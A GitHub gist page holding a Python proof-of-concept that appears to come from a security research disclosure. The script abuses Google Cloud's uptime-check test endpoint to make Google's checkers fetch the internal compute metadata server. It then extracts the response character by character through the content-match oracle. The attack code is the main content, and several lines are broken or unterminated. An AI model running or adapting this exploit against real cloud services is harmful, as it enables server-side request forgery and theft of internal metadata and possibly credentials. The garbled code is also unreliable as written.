Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
# This is only basic version to get the idea how the script to parse response worked, I made it faster later by
# making asynchronous calls
import requests
# This endpoint is called when the Test button in uptime checks is pressed
url = '<projectId>:validateUptimeCheckConfig'
body = '{"checkerType":"WHITELISTED_CHECKERS","contentMatchers":[{"content":"XXXX","matcher":"CONTAINS_STRING"}],' \
'"displayName":"test","httpCheck":{"headers":{"Metadata-Flavor":"Google"},' \
'"path":"/computeMetadata/v1/project/project-id","port":80,"validateSsl":false},"logCheckFailures":true,' \
headers = {
# REDACTED - authentication headers (copied from the browser)
def is_containing(chcked_string):
request_body = body.replace("XXXX", chcked_string)
r =, data=request_body, headers=headers)
result = r.json()
res_parsed = result['uptimeCheckResults'][0]
return 'contentMismatch' not in res_parsed
contained_string = ''
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
while True:
found = False
if not found:
for ch in charset:
validated_string = contained_string + ch
print('Trying ', validated_string)
if is_containing(validated_string):
print('Found: ' + validated_string)
contained_string = validated_string;
found = True
if not found:
print('Did not find any, end ', contained_string)
print('Current string: ', contained_string)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment